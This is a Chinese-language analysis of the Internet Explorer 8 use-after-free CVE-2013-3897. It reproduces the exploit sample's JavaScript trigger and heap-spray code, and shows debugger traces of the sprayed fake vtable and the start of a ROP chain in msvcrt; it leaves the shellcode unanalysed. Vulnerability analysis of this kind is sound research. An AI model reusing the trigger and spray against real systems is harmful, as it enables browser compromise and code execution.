CVE-2013-3897漏洞分析
一、前文概述
漏洞样本攻击目标为韩国和日本的Internet Explorer用户,系统环境为WinXP系统、Internet Explorer8浏览器.
二、漏洞细节
1)代码分析
CVE-2013-3897通过js脚本触发OnPropertyChange事件;当事件被触发的时候新建一些元素,并且之后改变该元素的位置;这时,IE浏览器的CDisplayPointer对象调用到CMarkupPointer虚函数,但CMarkupPointer虚函数已经被CDisplayPointer::Release函数释放掉;当CMarkupPointer调用时,该虚函数被指向了攻击者伪造的堆栈,通过ROP技术来突破XP系统的DEP防护.现在分析下js流程(如下).
id_0.onpropertychange = function(e){ Math.atan2(0x999, "before unselect"); var tile = new Array(); for (i = 0; i < 1000; i++) tile.push(document.createElement("div")); document.execCommand("Unselect"); for (i = 0; i < 1000; i++) tile[i].setAttribute("title", str);//触发了CMarkupPointer调用 Math.atan2(0x999, "after unselect"); }
现在来回顾一下js代码中的攻击流程;当js代码执行时首先创建了一个名为textarea的元素,并且通过applyElement附加为另一个新建元素address的子节点(如下).
var id_0 = document.createElement("textarea"); var id_2 = document.createElement("address"); document.body.appendChild(id_0); document.body.appendChild(id_2); document.body.contentEditable = "true"; id_2.applyElement(id_0);
接着上面,textarea元素通过触发onselect来改变textarea的valueproperty,通过调用swapNode来改变valueproperty,触发后来的onpropertychange(如下).
id_0.onselect = function(e){ Math.atan2(0x999, "before swap"); id_2.swapNode(document.createElement("mark")); Math.atan2(0x999, "after swap");}
这里请注意,id_2(address元素)的子节点是textarea元素,通过交换节点从页面布局删除textarea,并且重新插入一个新元素,这样一来改变了value,由此触发了后面的onpropertychange事件;触发onpropertychange事件(如下).
id_0.onpropertychange = function(e)
接下来应该是改变textarea元素布局的展示位置(样本使用了document.execCommand(“Unselect”)命令撤销select);在这个时候,其他任何一个元素执行SelectAll命令或者其他任何一个操作,都将会触发DisplayPointer来改变textarea的位置(如下).
var tile = new Array(); for (i = 0; i < 1000; i++) tile.push(document.createElement("div")); document.execCommand("Unselect"); for (i = 0; i < 1000; i++) tile[i].setAttribute("title", str);//喷射伪造的CMarkupPointer指针
//伪造准备喷射的数据字符串str
var str=unescape("%u1414%u1414"); while (str.length < 0x50) str=str+str; str=str.substr(0,(0x48-2)/2);
Js的select调用到了CDisplayPointer::ScrollIntoView,通过DisplayPointer来设置新展示位置;不过接下来的时候,引用的CMarkupPointer指针是已经被CDisplayPointer::Release函数释放掉了,并且指向了一个由攻击者伪造的堆栈区域;最终在QIClassID流程的时候,代码尝试执行CMarkupPointer::QueryInterface接口(CMarkupPointer虚标偏移为0)的时候可以被攻击者获得系统权限.
2)汇编分析
先来看下崩溃点,当调用虚函数CMarkupPointer的时候,这个地方会发生崩溃(如下).
.text:74DDD093 mov eax, [ebx] ; CMarkupPointer .text:74DDD095 and [ebp+var_18], 0 .text:74DDD099 lea ecx, [ebp+var_18] .text:74DDD09C push ecx .text:74DDD09D push offset unk_74DDD0E0 .text:74DDD0A2 push ebx .text:74DDD0A3 mov edi, 80004002h .text:74DDD0A8 call dword ptr [eax] ; carsh here 当CMarkupPointer虚函数指针没有被释放,并且正常执行的时候(如下). eax=51dac52f ebx=00533d24 ecx=00000000 edx=0000001e esi=02d5d84c edi=02d5d81c eip=70a6d093 esp=02d5d7fc ebp=02d5d820 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mshtml!Ordinal103+0x3a92e: 70a6d093 8b03 mov eax,dword ptr [ebx] ds:002b:00533d24=b0c0a670 0:005> dds ebx 00533d24 70a6c0b0 mshtml!Ordinal103+0x3994b 00533d28 70a74588 mshtml!Ordinal103+0x41e23 00533d2c 70a79e14 mshtml!Ordinal103+0x476af 00533d30 70a79dcc mshtml!Ordinal103+0x47667 00533d34 70a79e38 mshtml!Ordinal103+0x476d3 00533d38 70a79e84 mshtml!Ordinal103+0x4771f //堆栈分配结构 0:005> !heap -p -a ebx address 00533d24 found in _HEAP @ 4e0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00533d08 000d 0000 [00] 00533d10 0005c - (busy)
现在开始调试样本,模块漏洞发生点在mshtml模块,当模块装载后下条件断点bp Ordinal103+0x3a93e “.if poi(eax)=77bd18d3 {} .else{gc}”,因为ROP链是使用msvcrt模块中的固定地址,eax指向调用指针;当断点发生的时候,被释放的指针区域已经被攻击者控制了,也就是js代码中通过修改数组元素title的属性喷射的指针如下).
0:020> bp Ordinal103+0x3a93e ".if poi(eax)=77bd18d3 {} .else{gc}" 0:020> g eax=14141414 ebx=0727e174 ecx=02f99f58 edx=000000c8 esi=02f99fa0 edi=02f99f6c eip=70a6d0a3 esp=02f99f40 ebp=02f99f70 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mshtml!Ordinal103+0x3a93e: 70a6d0a3 bf02400080 mov edi,80004002h //ebx对象指针区域被喷射成了js中的地址(14141414) 0:005> dd ebx 0727e174 14141414 14141414 14141414 14141414 0727e184 14141414 14141414 14141414 14141414
现在来看下攻击者伪造的虚表指针;表中的地址该是msvcrt模块中的固定地址;这里是Win7系统,没显示模块名称并且是一个错误地址(如下).
0:005> p eax=14141414 ebx=0727e174 ecx=02f99f58 edx=000000c8 esi=02f99fa0 edi=80004002 eip=70a6d0a8 esp=02f99f40 ebp=02f99f70 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mshtml!Ordinal103+0x3a943: 70a6d0a8 ff10 call dword ptr [eax] ds:002b:14141414=d318bd77 0:005> dds 14141414 14141414 77bd18d3 14141418 77bcef5b 1414141c 00000000 14141420 77bcf519 14141424 77bc1118 14141428 77bd3e25 1414142c 77be746a
再次单步P键,第一条ROP地址执行错误,因此出现了内存访问错误(如下).
0:005> p (27c.ccc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=14141414 ebx=0727e174 ecx=02f99f58 edx=000000c8 esi=02f99fa0 edi=80004002 eip=77bd18d3 esp=02f99f3c ebp=02f99f70 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 77bd18d3 ?? ???
使用!heap -p -a ebx指令查看一下伪造的虚表指针处分配的堆大小结构,Win7 64位为0×48,也就是以0×48为一个单位进行喷射(如下).
address 0727e174 found in _HEAP @ 4a0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0727e150 000a 0000 [00] 0727e158 00048 - (busy) 0:005> dd ebx-0x24 0727e150 2eebd58b 88000000 14141414 14141414 0727e160 14141414 14141414 14141414 14141414 0727e170 14141414 14141414 14141414 14141414 0727e180 14141414 14141414 14141414 14141414 0727e190 14141414 14141414 14141414 00001414 0727e1a0 2eebd595 88000000 14141414 14141414
后面的ROP_shellcode不再进行分析,因为病毒、木马、漏洞攻击都基本上是一个样.
三、总结经验
要拥有绝对的耐心以及拥有绝对的恒心,并且注意资料的寻找以及英文文章和技术文档的查看;再者当分析过程中遇到问题的时候尝试去解决它,不要逃避,要积极的面对,才能获得最后的胜利.